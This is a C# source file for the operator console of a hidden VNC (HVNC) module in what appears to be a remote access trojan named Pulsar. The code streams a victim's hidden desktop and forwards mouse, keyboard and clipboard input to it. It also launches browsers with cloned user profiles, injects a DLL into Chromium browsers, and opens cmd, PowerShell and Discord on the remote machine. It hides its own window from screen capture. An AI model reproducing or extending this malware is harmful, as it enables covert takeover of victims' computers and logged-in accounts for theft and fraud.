using Gma.System.MouseKeyHook; using Pulsar.Common.Enums; using Pulsar.Common.Helpers; using Pulsar.Common.Messages; using Pulsar.Common.Messages.Monitoring.Clipboard; using Pulsar.Server.Forms.DarkMode; using Pulsar.Server.Helper; using Pulsar.Server.Messages; using Pulsar.Server.Networking; using Pulsar.Server.Utilities; using System; using System.Collections.Generic; using System.Drawing; using System.Threading; using System.Windows.Forms; using System.Diagnostics; using System.IO; using System.Runtime.InteropServices; using Pulsar.Common.Messages.Monitoring.HVNC; namespace Pulsar.Server.Forms { public partial class FrmHVNC : Form { /// /// States whether remote mouse input is enabled. /// private bool _enableMouseInput; /// /// States whether remote keyboard input is enabled. /// private bool _enableKeyboardInput; /// /// Monitors clipboard changes on the server to send to the client /// private readonly ClipboardMonitor _clipboardMonitor; /// /// States whether bidirectional clipboard sync is enabled /// private bool _enableBidirectionalClipboard; /// /// The client which can be used for the HVNC. /// private readonly Client _connectClient; /// /// The message handler for handling the communication with the client. /// private readonly HVNCHandler _hVNCHandler; /// /// Stopwatch used to suppress FPS display during the initial seconds of the stream, /// preventing unstable or misleading values from being shown. /// private readonly Stopwatch _fpsDisplayStopwatch = Stopwatch.StartNew(); /// /// Last frames per second value to show in the title bar. /// private float _lastFps = -1f; /// /// Holds the opened HVNC form for each client. /// private static readonly Dictionary OpenedForms = new Dictionary(); private bool _useGPU = false; private const int UpdateInterval = 10; /// /// Creates a new HVNC form for the client or gets the current open form, if there exists one already. /// /// The client used for the HVNC form. /// /// Returns a new HVNC form for the client if there is none currently open, otherwise creates a new one. /// public static FrmHVNC CreateNewOrGetExisting(Client client) { if (OpenedForms.ContainsKey(client)) { return OpenedForms[client]; } FrmHVNC r = new FrmHVNC(client); r.Disposed += (sender, args) => OpenedForms.Remove(client); OpenedForms.Add(client, r); return r; } /// /// Initializes a new instance of the class using the given client. /// /// The client used for the HVNC form. public FrmHVNC(Client client) { _connectClient = client; _hVNCHandler = new HVNCHandler(client); _clipboardMonitor = new ClipboardMonitor(client); RegisterMessageHandler(); InitializeComponent(); DarkModeManager.ApplyDarkMode(this); ScreenCaptureHider.ScreenCaptureHider.Apply(this.Handle); UpdateInputButtonsVisualState(); } private void UpdateInputButtonsVisualState() { UpdateButtonState(btnMouse, _enableMouseInput); UpdateButtonState(btnKeyboard, _enableKeyboardInput); UpdateButtonState(btnBiDirectionalClipboard, _enableBidirectionalClipboard); } private void UpdateButtonState(Button button, bool enabled) { if (enabled) { button.BackColor = Color.FromArgb(0, 120, 0); // Dark green button.FlatAppearance.BorderColor = Color.LimeGreen; } else { button.BackColor = Color.FromArgb(40, 40, 40); // Default dark button.FlatAppearance.BorderColor = Color.Gray; } } /// /// Called whenever a client disconnects. /// /// The client which disconnected. /// True if the client connected, false if disconnected private void ClientDisconnected(Client client, bool connected) { if (!connected) { this.Invoke((MethodInvoker)this.Close); } } /// /// Registers the HVNC message handler for client communication. /// private void RegisterMessageHandler() { _connectClient.ClientState += ClientDisconnected; _hVNCHandler.ProgressChanged += UpdateImage; MessageHandler.Register(_hVNCHandler); } /// /// Unregisters the HVNC message handler. /// private void UnregisterMessageHandler() { MessageHandler.Unregister(_hVNCHandler); _hVNCHandler.ProgressChanged -= UpdateImage; _connectClient.ClientState -= ClientDisconnected; } /// /// Subscribes to local mouse and keyboard events for HVNC input. /// private void SubscribeEvents() { picDesktop.MouseDown += PicDesktop_MouseDown; picDesktop.MouseUp += PicDesktop_MouseUp; picDesktop.MouseMove += PicDesktop_MouseMove; picDesktop.MouseWheel += PicDesktop_MouseWheel; picDesktop.KeyDown += PicDesktop_KeyDown; picDesktop.KeyUp += PicDesktop_KeyUp; picDesktop.TabStop = true; picDesktop.Focus(); } /// /// Unsubscribes from local mouse and keyboard events. /// private void UnsubscribeEvents() { picDesktop.MouseDown -= PicDesktop_MouseDown; picDesktop.MouseUp -= PicDesktop_MouseUp; picDesktop.MouseMove -= PicDesktop_MouseMove; picDesktop.MouseWheel -= PicDesktop_MouseWheel; picDesktop.KeyDown -= PicDesktop_KeyDown; picDesktop.KeyUp -= PicDesktop_KeyUp; } /// /// Starts the HVNC stream and begin to receive desktop frames. /// private void StartStream(bool useGPU) { ToggleConfigurationControls(true); picDesktop.Start(); // Subscribe to the new frame counter. picDesktop.SetFrameUpdatedEvent(frameCounter_FrameUpdated); this.ActiveControl = picDesktop; _hVNCHandler.EnableMouseInput = _enableMouseInput; _hVNCHandler.EnableKeyboardInput = _enableKeyboardInput; _hVNCHandler.MaxFramesPerSecond = 30; _hVNCHandler.BeginReceiveFrames(barQuality.Value, cbMonitors.SelectedIndex, useGPU); } /// /// Stops the HVNC stream. /// private void StopStream() { ToggleConfigurationControls(false); picDesktop.Stop(); // Unsubscribe from the frame counter. It will be re-created when starting again. picDesktop.UnsetFrameUpdatedEvent(frameCounter_FrameUpdated); this.ActiveControl = picDesktop; _hVNCHandler.EndReceiveFrames(); } /// /// Toggles the activatability of configuration controls in the status/configuration panel. /// /// When set to true the configuration controls get enabled, otherwise they get disabled. private void ToggleConfigurationControls(bool started) { btnStart.Enabled = !started; btnStop.Enabled = started; barQuality.Enabled = !started; cbMonitors.Enabled = !started; } /// /// Toggles the visibility of the status/configuration panel. /// /// Decides if the panel should be visible. private void TogglePanelVisibility(bool visible) { panelTop.Visible = visible; btnShow.Visible = !visible; if (visible) { // Restore picture below panel picDesktop.Top = panelTop.Bottom; picDesktop.Height = this.ClientSize.Height - panelTop.Height; } else { // Expand picture to fill the whole window picDesktop.Top = 0; picDesktop.Height = this.ClientSize.Height; } // Keep full width either way picDesktop.Width = this.ClientSize.Width; this.ActiveControl = picDesktop; } /// /// Called whenever the remote displays changed. /// /// The message handler which raised the event. /// The currently available displays. private void DisplaysChanged(object sender, int displays) { cbMonitors.Items.Clear(); for (int i = 0; i < displays; i++) cbMonitors.Items.Add($"Display {i + 1}"); cbMonitors.SelectedIndex = 0; } /// /// Updates the current desktop image by drawing it to the desktop picturebox. /// /// The message handler which raised the event. /// The new desktop image to draw. private Stopwatch _stopwatch = new Stopwatch(); private int _sizeFrames = 0; private int _remoteDesktopWidth = 0; private int _remoteDesktopHeight = 0; private void UpdateImage(object sender, Bitmap bmp) { if (!_stopwatch.IsRunning) _stopwatch.Start(); _sizeFrames++; double elapsedSeconds = _stopwatch.Elapsed.TotalSeconds; if (_hVNCHandler.CurrentFps > 0) { _lastFps = _hVNCHandler.CurrentFps; } if (elapsedSeconds >= 1.0) { _stopwatch.Restart(); } if (_sizeFrames >= 60) { _sizeFrames = 0; long last = _hVNCHandler.LastFrameSizeBytes; double avg = _hVNCHandler.AverageFrameSizeBytes; if (last > 0 || avg > 0) { double lastKB = last / 1024.0; double avgKB = avg / 1024.0; this.Invoke((MethodInvoker)delegate { sizeLabelCounter.Text = $"{avgKB:0.0} KB"; }); } } picDesktop.UpdateImage(bmp, false); // Update remote desktop dimensions for proper mouse coordinate scaling _remoteDesktopWidth = picDesktop.ScreenWidth; _remoteDesktopHeight = picDesktop.ScreenHeight; } private void FrmHVNC_Load(object sender, EventArgs e) { this.Text = WindowHelper.GetWindowTitle("HVNC", _connectClient); OnResize(EventArgs.Empty); // trigger resize event to align controls // Subscribe to displays changed event _hVNCHandler.DisplaysChanged += DisplaysChanged; // Request monitor count from client _hVNCHandler.RefreshDisplays(); cbMonitors.SelectedIndex = 0; } /// /// Updates the title with the current frames per second. /// /// The new frames per second. private void frameCounter_FrameUpdated(FrameUpdatedEventArgs e) { float fpsToShow; if (_fpsDisplayStopwatch.Elapsed.TotalSeconds < 2) { // Ignore the first 2 seconds to avoid showing fake FPS values fpsToShow = 0f; } else { float clientFps = _hVNCHandler.CurrentFps; fpsToShow = clientFps > 0f ? clientFps : ((_lastFps > 0f) ? _lastFps : e.CurrentFramesPerSecond); } this.Text = string.Format("{0} - FPS: {1:0.00}", WindowHelper.GetWindowTitle("HVNC", _connectClient), fpsToShow); } private void FrmHVNC_FormClosing(object sender, FormClosingEventArgs e) { // all cleanup logic goes here SetClientClipboardSync(false); UnsubscribeEvents(); if (_hVNCHandler.IsStarted) StopStream(); _hVNCHandler.DisplaysChanged -= DisplaysChanged; UnregisterMessageHandler(); _hVNCHandler.Dispose(); _clipboardMonitor?.Dispose(); picDesktop.GetImageSafe?.Dispose(); picDesktop.GetImageSafe = null; } private void FrmHVNC_Resize(object sender, EventArgs e) { if (WindowState == FormWindowState.Minimized) return; panelTop.Width = this.ClientSize.Width; picDesktop.Width = this.ClientSize.Width; if (panelTop.Visible) { picDesktop.Top = panelTop.Bottom; picDesktop.Height = this.ClientSize.Height - panelTop.Height; } else { picDesktop.Top = 0; picDesktop.Height = this.ClientSize.Height; } btnShow.Left = (this.ClientSize.Width - btnShow.Width) / 2; btnShow.Top = this.ClientSize.Height - btnShow.Height - 40; } private void btnStart_Click(object sender, EventArgs e) { if (cbMonitors.Items.Count == 0) { MessageBox.Show("No remote display detected.\nPlease wait till the client sends a list with available displays.", "Starting failed", MessageBoxButtons.OK, MessageBoxIcon.Warning); return; } SubscribeEvents(); StartStream(_useGPU); } private void btnStop_Click(object sender, EventArgs e) { UnsubscribeEvents(); StopStream(); } #region HVNC Configuration private void barQuality_Scroll(object sender, EventArgs e) { int value = barQuality.Value; lblQualityShow.Text = value.ToString(); if (value < 25) lblQualityShow.Text += " (low)"; else if (value >= 85) lblQualityShow.Text += " (best)"; else if (value >= 75) lblQualityShow.Text += " (high)"; else if (value >= 25) lblQualityShow.Text += " (mid)"; this.ActiveControl = picDesktop; } private void btnMouse_Click(object sender, EventArgs e) { _enableMouseInput = !_enableMouseInput; if (_enableMouseInput) { this.picDesktop.Cursor = Cursors.Hand; btnMouse.Image = Properties.Resources.mouse_add; btnMouse.BackColor = Color.LightGreen; toolTipButtons.SetToolTip(btnMouse, "Disable mouse input."); } else { this.picDesktop.Cursor = Cursors.Default; btnMouse.Image = Properties.Resources.mouse_delete; btnMouse.BackColor = DefaultBackColor; toolTipButtons.SetToolTip(btnMouse, "Enable mouse input."); } _hVNCHandler.EnableMouseInput = _enableMouseInput; UpdateInputButtonsVisualState(); this.ActiveControl = picDesktop; } private void btnKeyboard_Click(object sender, EventArgs e) { _enableKeyboardInput = !_enableKeyboardInput; if (_enableKeyboardInput) { this.picDesktop.Cursor = Cursors.Hand; btnKeyboard.Image = Properties.Resources.keyboard_add; btnKeyboard.BackColor = Color.LightGreen; toolTipButtons.SetToolTip(btnKeyboard, "Disable keyboard input."); } else { this.picDesktop.Cursor = Cursors.Default; btnKeyboard.Image = Properties.Resources.keyboard_delete; btnKeyboard.BackColor = DefaultBackColor; toolTipButtons.SetToolTip(btnKeyboard, "Enable keyboard input."); } _hVNCHandler.EnableKeyboardInput = _enableKeyboardInput; UpdateInputButtonsVisualState(); this.ActiveControl = picDesktop; } private void btnBiDirectionalClipboard_Click(object sender, EventArgs e) { _enableBidirectionalClipboard = !_enableBidirectionalClipboard; UpdateInputButtonsVisualState(); _clipboardMonitor.IsEnabled = _enableBidirectionalClipboard; Debug.WriteLine(_clipboardMonitor.IsEnabled ? "HVNC: Server->Client clipboard sync enabled." : "HVNC: Server->Client clipboard sync disabled."); SetClientClipboardSync(_enableBidirectionalClipboard); if (_enableBidirectionalClipboard) { Thread clipboardThread = new Thread(() => { try { Thread.CurrentThread.SetApartmentState(ApartmentState.STA); if (Clipboard.ContainsText()) { string clipboardText = Clipboard.GetText(); if (!string.IsNullOrEmpty(clipboardText)) { Debug.WriteLine($"HVNC: Sending initial clipboard: {clipboardText.Substring(0, Math.Min(20, clipboardText.Length))}..."); _connectClient.Send(new SendClipboardData { ClipboardText = clipboardText }); } } } catch (Exception ex) { Debug.WriteLine($"HVNC: Error sending initial clipboard: {ex.Message}"); } }); clipboardThread.SetApartmentState(ApartmentState.STA); clipboardThread.Start(); } this.ActiveControl = picDesktop; } private void SetClientClipboardSync(bool enabled) { try { if (_connectClient != null) { _connectClient.ClipboardSyncEnabled = enabled; } _connectClient?.Send(new SetClipboardMonitoringEnabled { Enabled = enabled }); Debug.WriteLine(enabled ? "HVNC: Requested client clipboard sync enable." : "HVNC: Requested client clipboard sync disable."); } catch (Exception ex) { Debug.WriteLine($"HVNC: Failed to update client clipboard sync state: {ex.Message}"); } } #endregion #region Helper Methods /// /// Loads the HVNCInjection.x64.dll from the current working directory as bytes. /// /// The DLL bytes, or null if the file is not found. private byte[] GetHVNCInjectionDllBytes() { try { string dllPath = Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "HVNCInjection.x64.dll"); if (File.Exists(dllPath)) { return File.ReadAllBytes(dllPath); } else { Debug.WriteLine($"HVNCInjection.x64.dll not found at: {dllPath}"); return null; } } catch (Exception ex) { Debug.WriteLine($"Error loading HVNCInjection.x64.dll: {ex.Message}"); return null; } } #endregion #region MenuItems private void menuItem1_Click(object sender, EventArgs e) { _connectClient.Send(new StartHVNCProcess { Path = "Explorer" }); } private void menuItem2_Click(object sender, EventArgs e) { _connectClient.Send(new StartHVNCProcess { Path = "Chrome", DontCloneProfile = !cLONEBROWSERPROFILEToolStripMenuItem.Checked, DllBytes = GetHVNCInjectionDllBytes() }); } private void startEdgeToolStripMenuItem_Click(object sender, EventArgs e) { _connectClient.Send(new StartHVNCProcess { Path = "Edge", DontCloneProfile = !cLONEBROWSERPROFILEToolStripMenuItem.Checked, DllBytes = GetHVNCInjectionDllBytes() }); } private void startBraveToolStripMenuItem_Click(object sender, EventArgs e) { _connectClient.Send(new StartHVNCProcess { Path = "Brave", DontCloneProfile = !cLONEBROWSERPROFILEToolStripMenuItem.Checked, DllBytes = GetHVNCInjectionDllBytes() }); } private void startOperaToolStripMenuItem_Click(object sender, EventArgs e) { _connectClient.Send(new StartHVNCProcess { Path = "Opera", DontCloneProfile = !cLONEBROWSERPROFILEToolStripMenuItem.Checked, DllBytes = GetHVNCInjectionDllBytes() }); } private void startOperaGXToolStripMenuItem_Click(object sender, EventArgs e) { _connectClient.Send(new StartHVNCProcess { Path = "OperaGX", DontCloneProfile = !cLONEBROWSERPROFILEToolStripMenuItem.Checked, DllBytes = GetHVNCInjectionDllBytes() }); } private void startFirefoxToolStripMenuItem_Click(object sender, EventArgs e) { _connectClient.Send(new StartHVNCProcess { Path = "Mozilla", DontCloneProfile = !cLONEBROWSERPROFILEToolStripMenuItem.Checked }); } private void startCmdToolStripMenuItem_Click(object sender, EventArgs e) { _connectClient.Send(new StartHVNCProcess { Path = "Cmd" }); } private void startPowershellToolStripMenuItem_Click(object sender, EventArgs e) { _connectClient.Send(new StartHVNCProcess { Path = "Powershell" }); } private void startCustomPathToolStripMenuItem_Click(object sender, EventArgs e) { FrmCustomFileStarter fileSelectionForm = new FrmCustomFileStarter(_connectClient, typeof(StartHVNCProcess)); fileSelectionForm.ShowDialog(); } private void startGenericChromiumToolStripMenuItem_Click(object sender, EventArgs e) { FrmHVNCPopUp genericBrowserForm = new FrmHVNCPopUp(_connectClient, GetHVNCInjectionDllBytes()); genericBrowserForm.ShowDialog(); } private void cLONEBROWSERPROFILEToolStripMenuItem_Click(object sender, EventArgs e) { cLONEBROWSERPROFILEToolStripMenuItem.Checked = !cLONEBROWSERPROFILEToolStripMenuItem.Checked; if (cLONEBROWSERPROFILEToolStripMenuItem.Checked) { cLONEBROWSERPROFILEToolStripMenuItem.Text = "CLONE BROWSER PROFILE"; } else { cLONEBROWSERPROFILEToolStripMenuItem.Text = "DIRECT START BROWSER"; } } #endregion #region Input Event Handlers /// /// Scales the X coordinate from the control space to the remote desktop space. /// Uses floating-point math for more accurate scaling, then rounds to nearest integer. /// private int ScaleX(int x) { if (_remoteDesktopWidth == 0 || picDesktop.Width == 0) return x; return (int)Math.Round((double)x * _remoteDesktopWidth / picDesktop.Width); } /// /// Scales the Y coordinate from the control space to the remote desktop space. /// Uses floating-point math for more accurate scaling, then rounds to nearest integer. /// private int ScaleY(int y) { if (_remoteDesktopHeight == 0 || picDesktop.Height == 0) return y; return (int)Math.Round((double)y * _remoteDesktopHeight / picDesktop.Height); } private void PicDesktop_MouseDown(object sender, MouseEventArgs e) { if (!_enableMouseInput) return; uint message = e.Button switch { MouseButtons.Left => 0x0201, MouseButtons.Right => 0x0204, MouseButtons.Middle => 0x0207, _ => 0 }; if (message == 0) return; int wParam = 0; int lParam = (ScaleY(e.Y) << 16) | (ScaleX(e.X) & 0xFFFF); _hVNCHandler.SendMouseEvent(message, wParam, lParam); } private void PicDesktop_MouseUp(object sender, MouseEventArgs e) { if (!_enableMouseInput) return; uint message = e.Button switch { MouseButtons.Left => 0x0202, MouseButtons.Right => 0x0205, MouseButtons.Middle => 0x0208, _ => 0 }; if (message == 0) return; int wParam = 0; int lParam = (ScaleY(e.Y) << 16) | (ScaleX(e.X) & 0xFFFF); _hVNCHandler.SendMouseEvent(message, wParam, lParam); } private void PicDesktop_MouseMove(object sender, MouseEventArgs e) { if (!_enableMouseInput) return; uint message = 0x0200; int wParam = 0; int lParam = (ScaleY(e.Y) << 16) | (ScaleX(e.X) & 0xFFFF); _hVNCHandler.SendMouseEvent(message, wParam, lParam); } private void PicDesktop_MouseWheel(object sender, MouseEventArgs e) { if (!_enableMouseInput) return; int x = ScaleX(e.X); int y = ScaleY(e.Y); if (e.Delta != 0) { int buttonMask = e.Delta > 0 ? 0x0010 : 0x0020; // Wheel up/down _hVNCHandler.SendMouseEvent(0x0201, buttonMask, (y << 16) | (x & 0xFFFF)); _hVNCHandler.SendMouseEvent(0x0202, 0, (y << 16) | (x & 0xFFFF)); } } private void PicDesktop_KeyDown(object sender, KeyEventArgs e) { if (!_enableKeyboardInput) return; uint message = 0x0100; // WM_KEYDOWN int wParam = (int)e.KeyCode; int lParam = BuildKeyboardLParam(e.KeyCode, false); // false = key down _hVNCHandler.SendKeyboardEvent(message, wParam, lParam); } private void PicDesktop_KeyUp(object sender, KeyEventArgs e) { if (!_enableKeyboardInput) return; uint message = 0x0101; // WM_KEYUP int wParam = (int)e.KeyCode; int lParam = BuildKeyboardLParam(e.KeyCode, true); // true = key up _hVNCHandler.SendKeyboardEvent(message, wParam, lParam); } #endregion private void btnHide_Click(object sender, EventArgs e) { TogglePanelVisibility(false); } private void btnShow_Click(object sender, EventArgs e) { TogglePanelVisibility(true); } private void startDiscordToolStripMenuItem_Click(object sender, EventArgs e) { _connectClient.Send(new StartHVNCProcess { Path = "Discord" }); } #region Win32 API and Helper Methods [DllImport("user32.dll")] private static extern uint MapVirtualKey(uint uCode, uint uMapType); /// /// Builds the appropriate lParam value for keyboard messages. /// /// The Windows Forms key code /// True if this is a key up event, false for key down /// The properly formatted lParam for the keyboard message private int BuildKeyboardLParam(Keys keyCode, bool isKeyUp) { int vk = (int)keyCode; uint scanCode = MapVirtualKey((uint)vk, 0); // MAPVK_VK_TO_VSC = 0 int lParam = 0; lParam |= 1; lParam |= (int)(scanCode << 16); if (IsExtendedKey(vk)) { lParam |= (1 << 24); } if (isKeyUp) { lParam |= (1 << 30); lParam |= (1 << 31); } return lParam; } /// /// Determines if a virtual key code represents an extended key. /// /// The virtual key code /// True if the key is an extended key private bool IsExtendedKey(int virtualKey) { switch (virtualKey) { case (int)Keys.Prior: // Page Up case (int)Keys.Next: // Page Down case (int)Keys.End: // End case (int)Keys.Home: // Home case (int)Keys.Left: // Left arrow case (int)Keys.Up: // Up arrow case (int)Keys.Right: // Right arrow case (int)Keys.Down: // Down arrow case (int)Keys.Insert: // Insert case (int)Keys.Delete: // Delete case (int)Keys.LWin: // Left Windows case (int)Keys.RWin: // Right Windows case (int)Keys.Apps: // Menu case (int)Keys.LShiftKey: // Left Shift (when differentiated) case (int)Keys.RShiftKey: // Right Shift case (int)Keys.LControlKey: // Left Control case (int)Keys.RControlKey: // Right Control case (int)Keys.LMenu: // Left Alt case (int)Keys.RMenu: // Right Alt case (int)Keys.Scroll: // Scroll Lock return true; default: return false; } } #endregion } }